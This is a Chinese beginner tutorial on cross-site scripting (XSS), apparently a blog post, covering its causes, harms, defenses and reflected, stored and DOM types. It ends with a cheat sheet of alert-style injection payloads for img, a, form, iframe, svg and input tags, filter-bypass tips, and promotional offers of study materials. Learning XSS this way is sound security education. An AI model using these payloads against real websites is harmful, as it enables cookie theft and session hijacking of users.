/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */ #content_views .toc, /* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */ #content_views.markdown_views > p:empty:has(+ .toc), #content_views.markdown_views > .toc + p:empty, /* 富文本旧版目录标记 */ #content_views.htmledit_views #main-toc, #content_views.htmledit_views #hr-toc, #content_views.htmledit_views p[id*=“-toc”] { display: none !important; } /* 目录去掉后,紧跟的首个标题不再多出一块上边距 */ #content_views.markdown_views > .toc + h1, #content_views.markdown_views > .toc + h2, #content_views.markdown_views > .toc + h3, #content_views.markdown_views > .toc + h4, #content_views.markdown_views > .toc + p:empty + h1, #content_views.markdown_views > .toc + p:empty + h2, #content_views.markdown_views > .toc + p:empty + h3, #content_views.markdown_views > .toc + p:empty + h4 { margin-top: 0 !important; }
Day1–初识XSS漏洞
一、初识XSS
1、什么是XSS
XSS全称跨站脚本(Cross Site Scripting),为避免与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。这是一种将任意 Javascript 代码插入到其他Web用户页面里执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里嵌入恶意代码。当用户浏览改页时,这些潜入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如 cookie窃取等。
2、XSS产生原因、漏洞原理
形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。
3、XSS会造成哪些危害?
攻击者通过Web应用程序发送恶意代码,一般以浏览器脚本的形式发送给不同的终端用户。当一个Web程序的用户输入点没有进行校验和编码,将很容易导致XSS。
1、网络钓鱼,包括获取各类用户账号2、窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;3、劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、强制发表日志、电子邮件等4、网页挂马;5、获取客户端信息,如用户的浏览历史、真实p、开放端口等6、强制弹出广告页面、刷流量等7、进行恶意操作,如任意篡改页面信息、删除文章等8、进行大量的客户端攻击,如ddos等9、结合其他漏洞,如csrf,实施进步危害;10、提升用户权限,包括进一步渗透网站11、控制受害者机器向其他网站发起攻击;12、传播跨站脚本蠕虫等4、XSS的防御
形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理: 输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入; 输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
5、XSS常见出现的地方
1、数据输出的地方
输入用户资料关键词、标签、说明文件上传的地方(如头像等)2、数据交互的地方
Get、Post、cookies、headers等反馈与浏览处富文本编辑器处各类标签插入和自定义处6、XSS的分类
①、反射型XSS
又称非持久型XSS,这种攻击方式往往具有一次性,只在用户单击时触发。跨站代码一般存在链接中,当受害者请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码通常不存储服务端
产生原因:漏洞产生原因一般是网站只是简单地将用户输入的数据直接或未经过完善的安全过滤就在浏览器中进行输岀,导致输岀的欻据中存在可被浏览器执行的代码数据攻击流程:First:攻击者寻找具有漏洞的网站--->攻击者给用户发了一个带有恶意字符串的链接--->用户点击了该链接--->服务器返回HTML文档,此时该文档已经包含了那个恶意字符串--->客户端执行了植入的恶意脚本,XSS攻击就发生②、存储型XSS
存储型XSS( Stored xss Attacks),也是持久型XSS,比反射型XSS更具有威胁性。。攻击脚本将被永久的存放在目标服务器的数据库或文件中。这是利用起来最方便的跨站类型,跨站代码存储于服务端(比如数据库中)
产生原因:造成漏洞原因一般是由于Web应用程序对用户输入数据的不严格,导致Web应用程序将黑客输入的恶意跨站攻击数据信息保存在服务端的数据库或其他文件形式中。 攻击流程:First:用户提交了一条包含XSS代码的留言到数据库--->当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来浏览器发现有XSS代码,就当做正常的HTML和JS解析执行③、DOM型XSS
DoM是文档对象模型( Document Object Model)的缩写。它是HTML文档的对象表示,同时也是外部内容(例如 JavaScript)与HTML元素之间的接口。解析树的根节点是“ Document"对象。DOM( Document object model),使用DOM能够使程序和脚本能够动态访问和更新文档的内容、结构和样式。
它是基于DoM文档对象的一种漏洞,并且DOM型XSS是基于JS上的,并不需要与服务器进行交互。
其通过修改页面DOM节点数据信息而形成的ⅩSS跨站脚本攻击。不同于反射型XSS和存储型XSS,基于DOM的XSS跨站脚本攻击往往需要针对具体的 Javascript DOM代码进行分析,并根据实际情况进行XSS跨站脚本攻击的利用。
一种基于DOM的跨站,这是客户端脚本本身解析不正确导致的安全问题
攻击流程:--->攻击者寻找具有漏洞的网站--->攻击者给用户发了一个带有恶意字符串的链接--->用户点击了该链接--->服务器返回HTML文档,但是该文档此时不包含那个恶意字符串--->客户端执行了该HTML文档里的脚本,然后把恶意脚本植入了页面--->客服端执行了植入的恶意脚本,XSS攻击就发生了7、常见标签
标签
图片加载错误时触发<img src="x" onerror=alert(1)><img src="1" onerror=eval("alert('xss')")>鼠标指针移动到元素时触发<img src=1 onmouseover="alert(1)">鼠标指针移出时触发<img src=1 onmouseout="alert(1)"><a>标签
<a href="https://www.qq.com">qq</a><a href=javascript:alert('xss')>test</a><a href="javascript:a" onmouseover="alert(/xss/)">aa</a><a href="" onclick=alert('xss')>a</a><a href="" onclick=eval(alert('xss'))>aa</a><a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a><form>标签
<form action=javascript:alert('xss') method="get"><form action=javascript:alert('xss')><form method=post action=aa.asp? onmouseover=prompt('xss')><form method=post action=aa.asp? onmouseover=alert('xss')><form action=1 onmouseover=alert('xss)><form method=post action="data:text/html;base64,<script>alert('xss')</script>"><form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="><iframe>标签
<iframe onload=alert("xss");></iframe><iframe src=javascript:alert('xss')></iframe><iframe src="data:text/html,<script>alert('xss')</script>"></iframe><iframe src="data:text/html;base64,<script>alert('xss')</script>"><iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="><iframe src="aaa" onmouseover=alert('xss') /><iframe><iframe src="javascript:prompt(``xss``)"></iframe>(````只有两个``)<svg>标签
<svg onload=alert(1)><input>标签
<input onfocus="alert('xss');">竞争焦点,从而触发onblur事件<input onblur=alert("xss") autofocus><input autofocus>通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发<input onfocus="alert('xss');" autofocus><input name="name" value=""><input value="" onclick=alert('xss') type="text"><input name="name" value="" onmouseover=prompt('xss') bad=""><input name="name" value=""><script>alert('xss')</script>按下按键时触发<input type="text" onkeydown="alert(1)">按下按键时触发<input type="text" onkeypress="alert(1)">松开按键式时触发<input type="text" onkeyup="alert(1)">8、XSS总结与拓展
1、输岀在JS中,空格被过滤:使用/**/或者/代替空格
2、输入在标签间的情况下:测试**<>是否被过滤或转义,若没有被过滤可直接<img src=1 onerror=alert(1)>。等等**
以上就是今天的分享,觉得有帮助,记得点赞+收藏,以上所说到的漏洞扫描工具都整理成压缩包了,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
同时还为准备学习网络安全(黑客)或者正在学习,整理了一套360独家内部资料,包含以下内容,如有需要也可文末获取:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
一、网络安全(黑客)学习路线
网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、网络安全教程视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。
三、网络安全CTF实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
四、网络安全面试题
最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。
网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】